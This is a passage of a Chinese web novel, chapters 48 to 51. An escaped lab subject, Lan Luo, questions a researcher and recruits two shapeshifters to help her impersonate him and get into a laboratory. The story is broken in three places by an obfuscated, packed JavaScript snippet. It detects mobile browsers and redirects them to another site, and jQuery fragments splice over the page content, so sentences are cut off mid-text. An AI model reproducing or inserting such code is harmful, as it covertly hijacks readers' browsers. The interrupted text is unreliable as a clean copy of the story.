他们给她的感觉就是这样,时至今日,即使她杀了研究员,逃出了实验室,在他们眼中她仍然是一只耗子。 “哪里公道了?” 祝见尘看似不忿,其实嘴角已经翘了起来:“但是确实要谢谢你跑了,我才能来这里。被发配到这里之后,我可就轻松多了,也不用整天配合工作……” “我还有问题,”兰落打断他,“第一,实验室总共用了几种方式追我?第二,实验室派出的人犬数量有多少?第三,人犬都是根据什么线索来追踪的?第四,细鬼城基地有没有人犬?” 她连珠炮一样连着问了好几个问题,把祝见尘问得快要眼冒星星。 “等一下,等一下……” 他轻轻摆手:“什么追踪?什么人犬?” “你不知道?”兰落不相信。 祝见尘从口袋里掏出通讯器:“喏,你自己看,我现在根本就是半个裁员对象,除了进出基地,别的权限都没有。” “不过你说的人犬我知道,他们的培育期很长的,不可能这么短的时间就培育出追踪你气味的人犬,你要是被他们盯上了,肯定是身上带了别的东西。” 兰落知道之前的枪就是被追踪的源头,只是不确定会不会有别的渠道,现在听到祝见尘的说法,心微微放下了一点。 “别的渠道呢?除了人犬,实验室还会通过什么方式找人?”她问。 祝见尘思考一会儿,缓缓说道:“如果出动人犬,就是先确定你的路线和定位,然后派异能者把你带回去或者就地解决。” “除了这个,还会贴通缉令,或者直接派异能者来抓人,后者虽然成本高,但你的异能比较罕见,所以姓陆的应该也不会在意这点成本了吧。” 兰落不屑:“他买我花的成本也不低,怎么没找他们要回来。” “找谁?” 祝见尘在黑暗里问她,声音轻轻的。 “跟你没关系,”兰落皱眉,“陆观的身体好全了?” 她后知后觉想起这个问题,她当时给他喂的毒不算多,应该不会导致很严重的后遗症。 “你管他干嘛,”祝见尘原话奉还,“跟你没关系。” 兰落想了想,没跟他解释血毒的事。 “说到这,”祝见尘主动幽幽开口,“你的身体还好吗?没有像面包怪那件事一样伤敌一千自损八百吧。” “听不懂你在说什么。” 兰落随口敷衍,皱着眉头侧耳倾听。 她似乎听见了什么动静,很微弱,听起来离他们有点远。 “装。” 祝见尘吐出一个字。 他刚要开口,兰落就飞快捂住了他的嘴巴,扯着他的衣领把人推进杂物间,然后自己也钻了进去。 “嘘。” 兰落把刀重新架在他脖子上,示意祝见尘安静,和他面对面缩在拖把中间,两个人侧对着杂物间的门。 又有人来了。 48. 跟踪 兰落没想到断头台看着凄凉,内部竟然还挺热闹的。 先是祝见尘,又是这阵陌生的脚步。 加上她自己,一早上已经有至少三个人出现在一楼了。 杂物间的空间很小,她一个人待在里面倒还好,加上一个祝见尘,就显得格外拥挤了,他们不得不贴近了一些,防止身影暴露。 祝见尘高举双手自证清白,身子紧贴墙壁,要多老实有多老实。 兰落左手紧紧捂住他的嘴巴,防止这神经病又乱说话,右手的刀放在他小腹的位置,一是威胁,二是为了方便应对突发情况。 杂乱但轻巧的脚步声越来越近,兰落凑近祝见尘,用他的身子挡住自己,只留一双眼睛巡视着外面。 两个穿着黑色卫衣和黑色运动裤的人飞快从兰落眼前掠过,看也没看杂物间。 拜漆黑一片的通道所赐,她们并没有发现兰落,一前一后走得非常快,几乎要小跑起来。 兰落从杂物间探出头,观察这两人的背影。 说实话,她第一时间怀疑的是徐来风和她那个见不得光的同伙,但这两人的背影,没有一个和徐来风对得上。 这两人一个稍矮,大约只有一米六的样子,另一个高了不少,可能有一米七多,两个人都微微弓着腰,很警惕的样子。 徐来风虽然个子也高,但身形比较瘦,没有眼前这个人看起来高大。 矮个子在前,高个子在后,两人在员工通道跑了一会儿,就从一个破烂的窗洞里跳出去不见了。 个子矮的那个身手明显不如高个子,爬上窗户的时候动作不太利索,需要高个子在下面托住才能顺利翻出去。 两人都戴着卫衣帽子,一点面部特征都没有暴露出来。 矮个子翻上窗户,费劲吧啦地往外跳,动作间卫衣帽子松动几下,一缕不听话的头发从帽沿溜出来,在半空中晃荡着,又被她动手塞回了帽子里。 白色的头发。 兰落暗暗记下这个特征,回过头问祝见尘:“你认识她们吗?” 祝见尘的脸掩在黑暗中,轻轻摇了摇。 他的皮肤蹭到兰落的手心,她才反应过来自己一直捂着他。 “断头台有什么?”她悄悄在衣服上擦了擦手,“你为什么出现在这里,她们又是因为什么?” 祝见尘挠了挠脸:“你不知道吗?” “什么?” “这里……”他扫视着兰落的表情,“跟实验室连接在一起呀。” “啊?” 兰落是真不知道,断头台都破成什么样子了,陆观也是真省经费,也不怕哪一天楼就塌了。 “为什么要建在这里,有什么说法吗?” 她又看了一眼两个女人消失的方向,心里开始有了疑虑。 祝见尘摇摇头:“显而易见,我不知道,我也是第一次到这里来。” “一问三不知,”兰落收起匕首,“你到底知道些什么?” “不知道。” 他还是摇头,十分坦然的样子。 兰落“啧”了一声,思考了一下问:“那你有没有旁敲侧击了解到基地对我的抓捕进行到什么程度了?” “这个嘛,”祝见尘作思考状,“你说的有道理,我可以去旁敲侧击一下。” 意思就是现在不知道。 兰落翻了个白眼:“闭嘴吧,别回基地了,我对你的信任度不高,你既然知道了我在这里,我就不能再让你回去。” “信任度不高?” 祝见尘关注点清奇,声音都拔高了一个度:“你对我信任度不高?!” “安静点!” 兰落差点一巴掌扇在他脸上,员工通道很空旷,他的声音如果再大一点的话,很容易就会传很远。 刚刚的两个人还没走远,她可不想被发现。 “你对我信任度不高?”祝见尘压低声音,用气声重复,“我都那么帮你了,你为什么对我信任度不高?” 兰落皱眉,搞不懂他在想什么:“你自己看看你穿的什么衣服,也好意思问?” 祝见尘穿的是基地的白大褂,研究员的身份一目了然。 他低头看了看自己,双手在自己身上胡乱摸了几下,抬起头对着兰落“嘿嘿”一笑,十分欠揍。 “抱歉嘛,”他说,“但是你可以找叶飞问,她也是从未城过来的,而且陆观很重用她,她知道的肯定比我多多了。” “或者这样吧,你住在哪里?我去打听,打听完了再告诉你。” “你有点奇怪。” 兰落定定看他几秒,突然开口。 祝见尘后背贴着墙壁,闻言挺了挺脊背,结结巴巴:“哪、哪里奇怪了?” “过于热情,”兰落眯着眼睛上下扫视他,“事出反常必有妖。” 祝见尘肩膀放松了一点:“哪有,我们是好朋友嘛。” “再说了我也不喜欢实验室,帮了你就是给他们添堵,我当然高兴了。” “你为什么不喜欢?”兰落问,“你的工作也不忙,普通研究员也不敢对你颐指气使,理应是个好岗位才对啊。” 她之前就好奇了,祝见尘每天都消极怠工,看起来懒得不行,兰落甚至怀疑他是不是被逼上岗的。 “既然不喜欢,为什么还要留在基地做这份工作?”她问。 祝见尘听了,没有第一时间回答,定定盯着兰落看,几秒后才缓缓开口:“你觉得,外面好玩吗?” “一般吧,”兰落有点莫名其妙,不知道他为什么又开始转移话题,“就那样。” 她确实觉得外面就那样,没什么特别的,只不过逃起命来特别累。 “是吧,很多事情得到了才发现其实也就那样。” 祝见尘嗓音低低的,答非所问。 兰落懒得理他,祝见尘的脑回路总是这样,就像脑子里接错了线一样,想到什么说什么。 她瞄了一眼小窗户,耐着性子问:“所以我带你走会发生什么?” 兰落还能隐约听见那两人的脚步声,她有点放心不下,想追上去看看。 她对祝见尘其实并不是特别不信任,这人虽然偶尔犯病,但并不狗腿,甚至和基地所有人的关系都不好,没有很强的动机暴露她。 况且,如果他真想捉她,早就用通讯器偷偷给基地传信号了,没必要直接交出通讯器。 “你带不走我的。”祝见尘摇了摇头,一副浮夸的苦恼样子。 他低下头看兰落:“唉,可能有魅力的人到哪里都很受欢迎吧,所以我的身上有精准定位器,一旦离开标准范围太久,就会砰的一声给你放烟花看。” “不过我可以告诉你我在细鬼城的住址,如果哪天你觉得我背叛你了,就过来捅死我。怎么样,很合理吧?” 兰落瞥他一眼,没说话,转身跳出杂物间。 祝见尘跟在后面,自顾自开口:“就在旧城门附近,唯一没有防盗网的那栋!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081545|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有事记得来找我!” 他话才说了一半,兰落就已经飞身上窗,单手扒着窗沿观察外面了。 她对祝见尘比了个“OK”的手势,没回头看他,直接钻出了窗户。 这窗户很小,她钻起来虽然不会卡住,但灰尘和污垢会蹭在身上,有点恶心。 这两人到底有多见不得人,连一楼的大窗户都不敢翻,只敢从这种地方离开。 祝见尘说这里连接实验室,那这两人多半也是跟实验室有关系吧。 就是不知道是敌还是非敌了。 她仔细辨认着耳朵里的声音,细鬼城的人渐渐起床了,附近开始出现各种脚步声,幸亏兰落记住了那两人的走路特征,否则可不敢保证能从杂乱的声音中识别出她们。 兰落顺着一条人迹罕至的小路追过去,小跑了一阵后,两道脚步声开始变得明显起来。 两人就在她的视野尽头,一高一矮,一前一后,卫衣帽子牢牢扣在头上。 “确定吗?” 高个子那个问矮个子,声音有些不情愿。 矮个子走得很快:“不确定,所以才要找。” “非要找它干嘛,抓我们的那个不是已经……” “行了!” 矮个子有些不耐烦了,打断高个子,头也不回往前走。 高个子腿长,但始终走在矮个子身后,闻言也只是叹了口气。 找东西? 兰落听着她们的对话,听出她们似乎想要找什么东西,这个东西还和曾经伤害她们的东西有关系。 总不会和她一样,要找笔记本吧。 兰落心里一颤,跟得更近了一点。 她是通过乱七八糟的幻觉知道的黑色笔记本的存在,这两人没道理也知道。 除非幻觉里那个女人,是群发的托梦。 兰落冷笑了一下,躲在草丛里,目送着两个女人进入了郊区一座独栋的小屋,还把门窗都关了起来。 小屋不大,看着很朴素,孤零零立在一片荒地上,透露着一股穷苦味道。 兰落光明正大绕到了屋后,站在窗户底下听室内两人的谈话。 “你有时候太偏激……” “那你就离开!”矮个子拔高声音,“离开我!你就不会被逼着做这些事情!” 高个子声音无奈:“我没有……” “那就别再提。” “我知道了,你吃点药吧,别气坏身子了。” 室内传来倒水的声音,和踢踢踏踏的脚步声。 矮个子冷静下来:“不用,吃了药不方便用异能。” “那就不用异能了,先休息几天不行吗?”高个子的声音里都是担忧。 “不行,”矮个子声音放缓,“都怪我太粗心,让那个人夺走了我们的钱。” “现在我们身无分文,不快点弄钱的话,饭都吃不起。” 高个子嘟嘟囔囔:“我看你不是怕吃不起饭,你就是想找到能带你去实验室……” “闭嘴!” 矮个子一拍桌子,高个子就不说话了。 兰落撑着墙,满脑子问号。 找实验室? 她们为什么要找实验室? 高个子开始往窗前走,兰落退了退,退到一棵树后,面露不解观察她们。 窗户被打开,窗前站着的,却不是什么高个子女人,而是兰落格外熟悉的面容。 是刚进城就对她敲诈勒索的黑夹克。 49. 本子 兰落不算特别惊讶,她早就猜到她们有变形异能,刚刚矮个子女人又提到了钱被夺走,兰落几乎瞬间就联想到了她们,只是无凭无据不敢确认。 现在看到了黑夹克那张熟悉的丑脸,她才确定了自己的猜测。 这两人不是靠敲诈勒索为生吗,为什么要找实验室? 黑夹克,也就是高个子女人,刚刚提到她们敲诈是为了找到人带她们去实验室。 兰落虽然不理解她们的做法,但想通了这两人刚开始对自己的态度,的确是从得知自己没钱后转变的。 如果是这样的话,也怪不得她们当时在得知自己没有钱后态度就好了一点。 兰落知道实验室一直和外部有合作,一些无关紧要的实验体是可以被买卖的,不过通常是实验室把人送到指定地点,很少会让买家直接去基地。 毕竟基地的位置也需要保密,不可能随便让外人得知真实位置。 “银烟!别看了,收拾一下准备出门!” 屋内传来喊声,兰落虽然站得远,但是黑夹克打开了窗户,所以声音很轻易就传进了她的耳朵。 “知道了,”银烟皱着眉左右看了看,“刚刚总感觉有点不安心,别不是有人偷窥我们。” “不会的,你那么灵敏,一路都没感觉到有人吗?我相信你的判断不会有问题。”屋内的白短袖拉开房门,对此不以为意。 银烟“啪”一下关上窗户,急急忙忙追在后面:“哎,赫雪,等等我!” 白短袖原来叫赫雪,这个名字和那张脸很不相配。 两个五大三粗的男人脸,配上这两个名字,恶心得兰落不忍直视。 她眼看着这两人一前一后走远了,从树后站出来,把她们的窗户掀开一条小缝。 兰落从窗户缝朝里看,房子里没什么特别的,很普通。 要说特别的,可能就是她们的行李都没有摆出来,而是规规矩矩放在两个大箱子里,有种随时都能拎包跑路的感觉。 兰落合上窗户,没再跟着她们。 银烟已经隐隐约约察觉到了她的存在,她也知道她们只是去外面敲诈勒索的,没必要再跟了。 就是不知道这个叫赫雪为什么执着于要找实验室,想买实验体?还是跟实验室有仇? 不重要了。 兰落自己心里还一堆屁事,没精力管她们两个的打算。 她今天白跑了一趟,虽然从祝见尘那得知了很多消息,但最想要得到的笔记本没有踪影。 一本普普通通、不知道闲置了几十年的老本子,她上哪找去? 兰落心烦意乱,一边抚摸心脏,一边挑了条安静的路回城。 这条路靠近城郊,住户比较少,唯一的好处就是安静,路上的行人会很少,被别人发现的概率大大减小。 兰落边走边看左右的独栋小楼,她现在没地方住,正在考虑是继续住徐来风家,还是自己找个房子住。 这里的小楼比起徐来风的房子好了不少,如果租金合适的话,住在这里也不错。 兰落正扒着窗户看一个空房间,听见左侧一栋小楼传来动静,当机立断躲在了房子后面。 左侧是个二层小楼,金属的楼体架在在墙体外侧,锈迹斑斑,非常有年代感。 一个棕色长卷发的女人从二楼推门出来,背对着兰落,说了句什么就准备离开。 这人她不认识,兰落没什么兴趣,正准备从墙后出来,门内又出现了一个熟悉的身影—— 竟然是前阵子刚见过的叶飞,细鬼城真够小的。 叶飞皱眉抱臂,站在二楼门口,声音不大不小:“花里胡哨的机器买了又买,我不过要采购一些纸笔,你们就嫌弃花钱多。” “你们少在虐待实验体上费心思,经费也不会这么紧张了。” 棕发女人笑容可掬:“不好意思呢,去找高哥说吧,我可管不了。断头台上面从前是商场,纸笔什么的,我们最不缺了。” 说着,她还从单肩包里掏出一本厚本子:“喏,这样的本子,仓库有一大堆,想要直接拿就行了,没必要采购。” “这本送你,不客气,叶大研究员。” 棕发女人说完就头也不回,踩着嘎吱作响的生锈楼梯走了。 叶飞拿着本子,看也没看,随手扔进了房间,面无表情带上门,跟棕发女人一前一后离开。 叶飞不在意,兰落的眼睛却瞪大了。 那本子,和幻觉里女人手里的本子一模一样! 得来全不费工夫?这世上有这种好事? 兰落毫不客气地翻上二楼,从窗户进入了叶飞的房间。 叶飞的房间和她的人一样,简洁冷淡,没有任何多余的东西。 那本被随手一丢的黑色皮质笔记本就倒扣在在门边不远处,封面略有些皱。 兰落蹲在地上,心脏怦怦跳地捡起它,小心翻开。 ——一片空白。 本子是新的,上面什么都没有。 兰落翻好几遍,确认这就是一本崭新的空白本子,才把它按照原来的姿势摆好。又巡视一圈,室内没有其他有用的东西,兰落才原路从窗户翻出来。 白高兴一场,但也不算一无所获。 棕发女人说这是断头台曾经作为商场里的库存本子,现在都在基地存着。 难道她要跑一趟基地? 简直开玩笑…… 兰落心烦意乱地往旧城门去,那里的房屋更聚集,但是也更破旧,只适合喜欢和邻里邻居相处的闲人居住。 她要去找祝见尘,确定这些本子在实验室。 路过吐金街的时候,这里围了不少人,兰落戴上口罩钻进人群,看见一个老人正围着一个小木盒跳来跳去。 这老人她有印象,是殡葬馆的老板,兰落刚来细鬼城的时候,还被她驱赶了。 “老霜这都送走多少个了,她家招牌屹立不倒啊!” “害,人家有这实力,以前死外面的人谁都找不回来,有她作法之后啊,死人都能回家,死的人也少了!” 人群叽叽喳喳的,有人听了这话提出反驳: “这也不是她的功劳吧?老霜不就负责跳跳大神作作法,人死不死跟她有什么关系?” “就是,要我看啊,还是最开始提议装防盗网的人聪明,没发现装上之后死人就开始少了吗?” “什么呀!你这比他还扯!” 另一个聚精会神看作法的人剔了剔牙:“装不装防盗网,出去作死的人也不会少,我看啊,就是装了防盗网,给他们下了心理暗示,这人呢有了畏惧心,害怕有人偷东西,才不敢随便往外跑了!” “滚滚滚!不还是防盗窗的事吗?” 兰落没忍住,插了句嘴:“是你们市长提议弄的防盗窗吗?” “啥?” 刚刚拌嘴的人看着兰落,一脸茫然:“什么市长,细鬼城又不是真的城,哪来的市长?” “我是市长!” 其他人听了也开始打岔:“那我做球长!世界长!” “你长得像球……” 兰落不想听了,从人群里退出来。 没有市长? 徐锦不是说过要跟市长大人告状吗? 市长……尸体…… 兰落又想起那天徐来风身边全副武装的女人了。 她先绕到徐家,徐来风不在家,徐锦扒着窗户一脸无聊看外面。 兰落凑上去:“你妈又不在家?” “不是,”徐锦没看她,“她给朋友送顿饭,马上就回来了。” “看来是很好的朋友,不然也不会亲自送饭了。”兰落假装不经意问。 徐锦点点头:“那当然了,那可不是普通的朋友,她可是……” “哼,她可是我妈妈最好的朋友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109110|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰落挑眉:“是吗,那怎么不直接来你家吃饭?” 徐锦摇头:“她很忙的,不是每天都要时间出来,可能今天刚好出来了吧。” “出来?”兰落问,“从哪里出来?” 徐锦浑身一哆嗦,一拍防盗网,盯着兰落:“你别和我聊天了,我要写作业了,再见。” 说完就把窗户合上了。 兰落耸耸肩,没跟小孩计较,抬头去找祝见尘口中唯一没有防盗网的房子。 房子在一众防盗网中很醒目,兰落轻而易举就锁定了目标房屋。 她本来要走正门,想了想,还是凑在窗户上偷看。 万一不是祝见尘,敲了门她很难解释。 窗户很干净,但偏蓝的玻璃让她没办法看得非常清晰,兰落先是听了一下,室内有似有若无的哼歌声,音准很差,应该是祝见尘无疑了。 她把窗户悄无声息推开一条小缝,一脸坦然地凑上去看,丝毫没觉得有问题。 视线范围内是一个小餐厅,桌上摆着一束野花,看起来很有生活情调。 歌声还在继续,却不见祝见尘的人影。 兰落等了两分钟,正打算去敲门,一扇小玻璃门就毫无防备地打开了,一时间雾气蔓延,整间屋子都变得潮湿。 祝见尘哼着小曲,头上顶着一块灰色厚毛巾,腰上别着一块同款大浴巾,就这么大大咧咧地走出了卫生间,站在桌子边伸懒腰。 兰落没回避,光明正大地在他身上扫视了一圈。 挺好的。 祝见尘还是一无所觉的样子,一边哼歌一边搓头发,搓得水珠乱溅,像刚从水里出来的大型犬。 她看不下去了,也不希望有路人经过的时候把她当变态,于是面无表情敲了敲玻璃。 “别唱了,过来开门。” 兰落说完,直勾勾看着祝见尘,看他瞬间像被掐着脖子的鸡一样失声。 他双耳泛着粉红色,颜色随着她说出的五个字层层递进,最后变成滴血一样的通红。 “你!” “你你你!!” 祝见尘把头上的毛巾扯下来盖在上半身,露出来的皮肤几乎都红了。 “你、你怎么能偷看别人洗澡!” 他憋了半天才憋出一句指责,一边说一边后退,拉开浴室的门挡住自己,只留一张脸露在外面。 兰落直接把窗户推到最大,双手撑上窗台:“没人偷看,我只是想确定这里是不是你的家。” “当然是了!”祝见尘缩头缩脑,“难道我会骗你吗?” 这可不一定,谎言是任何人都能快速掌握的武器。 兰落左顾右盼,防止有行人经过,一脸不耐烦地说:“快开门,不开门我就从窗户进。” “我现在怎么给你开门……”祝见尘藏进浴室,声音竟然有一点颤抖。 兰落没理他,直接从窗户翻了进去。 她都翻过多少窗户了,不差这一个。 祝见尘伸出脑袋:“早知道我也应该装一个防盗网。” “没用,”兰落反手关窗,进入正题,“我问你,细鬼城基地是不是有很多本子?” 祝见尘在浴室套上衣服,扬声问:“什么本子?” “很普通的黑色皮质笔记本,据说是断头台曾经的库存,基地现在在使用。”兰落抽了一朵花折着玩。 “昂,”祝见尘衣着整齐走出来,坐在兰落对面,“是有这么一回事,但其实很多本子都有点损坏,像从垃圾站捡回来的,我还嫌弃呢。” “你想要?那我上班的时候给你偷点。” 兰落把花弹到他面前:“有没有使用过的?” 祝见尘嗅了嗅花:“用过的也有啊,怎么了,你打算开启新事业倒卖破烂了?” “不是。” 兰落靠着椅背,沉思几秒:“我打算进一趟实验室。” 50. 易容 “你说什么?!” 祝见尘“噌”一下站起来,一脸不可置信:“你是怎么回事?外面日子太苦了想继续回来当实验品?” “不至于吧,兰落。” 他喊了一遍她的名字,企图唤醒兰落的良知。 兰落已经习惯了他的一惊一乍,摇摇头:“我有想要的东西,你把基地的具体位置和内部地图画给我。” “就算有了地图,你要怎么进去?” 祝见尘坐下,稍微平静了一点:“细鬼城分基地再怎么破烂,保卫系统也是和未城基地一样的等级,等你靠近实验室,警报早就响翻天了。” “所以我需要基地密码。”兰落说。 “没有密码,”祝见尘撑着下巴,“原始的密码只有负责人和陆观本人知道,为的是在突发情况下也能开门。” “在细鬼城,一般的研究员只会拥有一张身份卡,里面有芯片,人脸和芯片同时识别成功才能开门。” “同时……”兰落轻敲手指。 祝见尘点点头:“是的,是同时哦。我上次就因为没带身份卡所以不得不旷工了一天,好惭愧。” 他惭愧个屁。 兰落懒得理他,思考几秒才缓缓开口:“我替你上一天班怎么样?” “啊?” “我说,”兰落站起来,“我替你上班,你就待在家里不要乱跑就行了。” “什么意思?” 祝见尘也站起来,跟在兰落身后:“你要用我的身份卡?借给你用倒不是不行,但是脸呢,脸怎么办?” 兰落突然回头,定定盯着他的脸。 祝见尘浑身一哆嗦,抿着唇小心翼翼:“不是骂你不要脸的意思。” “我有方法,你暂时不要去基地,在家等着就行了。”兰落说完,拉开门走了出去。 “哎……那我的工资扣光了怎么办?” 祝见尘缩在门后,一脸肉疼。 兰落看着他浮夸的表演,忍不住劝了一句:“你最好一辈子不要踏足演艺圈。” 祝见尘摸了摸自己的脸:“你怎么知道陆氏旗下有娱乐公司,我还打算辞职当明星呢。” 兰落扫他两眼,摇摇头走了两步,又顿住。 她回头,祝见尘还在扒着门,从门缝偷偷看她。 和兰落对上视线之后,他假装不经意地左看右看,就是不看她。 兰落走了回去,推门进屋。 不过几分钟,兰落就重新推门离开。 她要去找银烟和赫雪。 既然一张脸加一张身份卡就能进基地,那她大可以拿着祝见尘的卡,再让赫雪把自己变形成祝见尘的样子。 风险程度比硬闯低多了。 而且,祝见尘又是个性格不定,经常乱发神经病的家伙,即使到时候她演技不好露出破绽,也很少有人会怀疑她吧。 兰落一路左挡右藏,顺利来到城门口,熟悉的黑夹克和白短袖正坐在城门边上剥鸡蛋,十足的社会闲散人员姿态。 她们就这样每天守在这里? 效率未免也太低了。 兰落走过去,双手插兜站在了她们面前。 细长的阴影笼罩住了黑夹克,也就是银烟手里的鸡蛋,她仰头看着兰落,一口把鸡蛋塞进了嘴里。 “干什么?!” 银烟一边嚼着鸡蛋,一边不耐烦地问她,模样凶神恶煞。 赫雪头都没抬,坐在一边慢条斯理剥蛋壳。 兰落指指不远处的小巷子:“有事,跟我到那边去。” 银烟回头看了一眼巷子:“你又没钱了?” “告诉你啊,我们也没钱,滚远点。” 兰落没理她,对着赫雪开口:“我手上有你们想要的消息。” 说完没等她们反应,就先行一步往巷子走。 “骗人吧。” “不一定……” “又要跟我们打怎么办?” “先看看。” 兰落听着她们在身后窃窃私语,放心地走进了小巷子。 银烟和赫雪也一前一后走了进来,赫雪仍然很淡定,银烟依旧很警惕。 “先变回来。”兰落靠着墙,言简意赅。 两人表情都是一变,赫雪勾了勾唇:“你还挺聪明的。” ……是她们太明显了吧。 兰落没把这话说出来,而是一脸胸有成竹地看着她们。 巷子很深,黑漆漆的,根本不会有人经过,赫雪左右看了看,闭上眼睛默念几句。 不过几秒时间,兰落眼前的两个壮汉就摇身一变,变成了两个年轻女人。 没错,的确是白色长发。 兰落的视线在赫雪的白色长发上顿了顿,确认了自己当时没看错。 赫雪个子有些矮,但长相非常精致,从头发到肤色,甚至睫毛都是白的,整个人像颗透明泡泡,似乎一碰就碎。 与之相反,银烟的长相就锋利不少。 一头白色短发乱糟糟的,发根有点黑,看上去应该是染出来的发色。 小麦色肤色,高挑精瘦,皮肤上覆盖着恰到好处的肌肉,手臂上有几道深浅不一的疤。 这还是兰落第一次看见银烟的真实长相,她在心里想象了一下,好不容易才把眼前的短发女人和之前乱嚷嚷乱动手的大汉对应起来。 “你们两个,”兰落评价,“很有特色。” 截然相反的外表和性格,竟然能组成如此坚固的组合。 银烟“嗤”了一声:“那当然了,不然你以为我们为什么要变形?还不是怕太引人注目了。” “你老实点。”赫雪的真容更加冷淡,说话的时候五官几乎不动,像个假人。 赫雪看着兰落,眼睛里都是探究:“你知道什么消息?又想和我们交换什么?” 兰落站直了一点,压低声音:“实验室。” “什么实验室?”赫雪歪头,“你在说什么乱七八糟的?” 兰落笑了一下:“别装了,你想要找到实验室的位置,我可以帮你。” “但我有一个条件……”她故意停在这里不说了。 赫雪脸上的茫然渐渐褪去,眉心皱起来,严肃问:“什么条件?” 银烟一直没说话,只是脸上的表情不太好,看向兰落的目光也带着责备。 兰落不在乎,她已经看出来在这两人中间,赫雪才是那个掌握绝对话语权的人,银烟在想什么根本不重要。 反正,只要赫雪一声令下,银烟什么都肯干。 兰落看着赫雪:“我需要借用你的变形异能,把我伪装成祝……伪装成另一个人的样子。” “太笼统了,”赫雪摇头,“你一直在含糊其辞,我很难不怀疑你在骗我。” “第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131449|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你要先把实验室的具体位置告诉我;第二,你要向我证明你没有说谎。” “否则我不可能白白帮你变形。” 兰落耸肩:“那么你也应该先向我说明你的异能范围,比如有效时限,比如前提条件。” “凭什么告诉你,是你来找我们合作,要说也是你先说。”银烟站在赫雪身后,从赫雪的头顶上伸出脑袋乱叫。 兰落点头,明白了,赫雪的异能是有时效的,而且需要一些前提条件。 她只是随便诈一下试试,银烟就侧面帮她确定了这些条件。 “既然你的异能也不够完美,那就谁也别嫌弃谁了,我告诉你具体地址,你帮我变形。” 兰落不想再浪费时间,从口袋里掏出一张对折的纸,扔在赫雪面前。 这是她刚刚出门之后又折返找祝见尘快速画的简易地图,他画技不错,记性也好,在纸上标注了所有有特征的地标,兰落很容易就记住了去实验室的路线。 所以这纸对她来说只是废纸一张,送给她们也无妨。 虽然临走时祝见尘千叮咛万嘱咐,让她一定要好好珍藏他的大作。 赫雪刚要弯腰,银烟就先一步捡起了地上的纸,抖了抖打开,看了两眼才交到赫雪手里。 赫雪捏着地图,神色认真,指腹用力到发白,连纸张都在轻微颤动。 “你从哪里弄到的?”赫雪问。 兰落耸耸肩:“无可奉告,你可以自己试试地址的真实性。” “但我需要你先帮我变形,”兰落继续掏口袋,掏出一张祝见尘的照片,“变成他的样子。” 她本来打算直接把祝见尘带来,但思来想去还是带着照片更安全。 兰落不喜欢让自己的认识的人互相交叉相识,那样会让她没有安全感。 她更喜欢单独把握人脉线。 银烟拿了照片递给赫雪,凑到赫雪旁边点评:“长得还不错呢,比我们俩的变形好看多了。” “不是你说的,怕变形太帅了被男人忮忌,所以要变成丑男人?”赫雪接过照片。 银烟缩了缩脖子不说话,赫雪接着对兰落说:“我可以帮你变形,但我有一点要求。” “什么要求?” “我要和你一起进去。” 兰落抬头,很不理解她的得寸进尺:“你要去你就自己去,为什么要和我一起进去?” 潜伏这种事,单独行动比群体行动方便多了,赫雪她们根本不了解基地和研究员,到时候出了差错还要连累她。 赫雪的表情很坚定:“你既然找上了我们,就说明你有方法进入实验室。” “我们不蠢,即使有了地图,像实验室那种地方,也不是随便就能进得去的,你有办法进去,就有办法把我们也带进去。” 兰落有点烦:“坐地起价是吧。” “不是坐地起价,是公平交易。” “不同意,你以为实验室是菜市场,说进就能进?”兰落皱眉,她的心脏有点疼,但是在这两人面前不敢表现出来。 “我知道你不会同意,但你不得不同意。” 赫雪把地图收好,对着兰落微微一笑:“我的变形异能的确有前提条件,那就是被变形者与异能者,也就是我本人的距离不能超过一百米。” “如果不带上我,你在踏入实验室的第一秒就原形毕露自投罗网了。” 51. 仓库 一百米? 这条件也太苛刻了吧? 兰落惊讶之后有点恍然大悟,她总算是知道为什么银烟和赫雪一直形影不离了。 怪不得之前被变形的钱包是在她吃饭的时候变回原样的,她还以为是赫雪故意的,现在想想,可能单纯是因为距离太远被打回原形了。 “就不能远一点?”兰落不死心。 赫雪还是微笑摇头:“当然不行了,你以为我们没有尝试过吗?” 兰落深深吐出一口气,面露思索。 她一个人进去已经很勉强了,上哪再找一个能拿到身份卡的研究员啊。 “这样吧,”兰落说,“我先进去,你们就在实验室门口守着,我进去之后时刻注意着距离,和你们保持一百米之内。” “你们就当踩点了,证明我没有欺骗你们。等我顺利出来了,你们坚持要进去的话,就用我现在的身份再进去一次。” 银烟眼睛亮了,止不住点头:“好啊好啊,这样好,你也不用担心有危险。” 她垂头看着赫雪,观察赫雪的神色。 赫雪眉头皱得很深,沉默几秒,才不情不愿地“嗯”了一声。 兰落松了一口气,总算可以单独行动了。 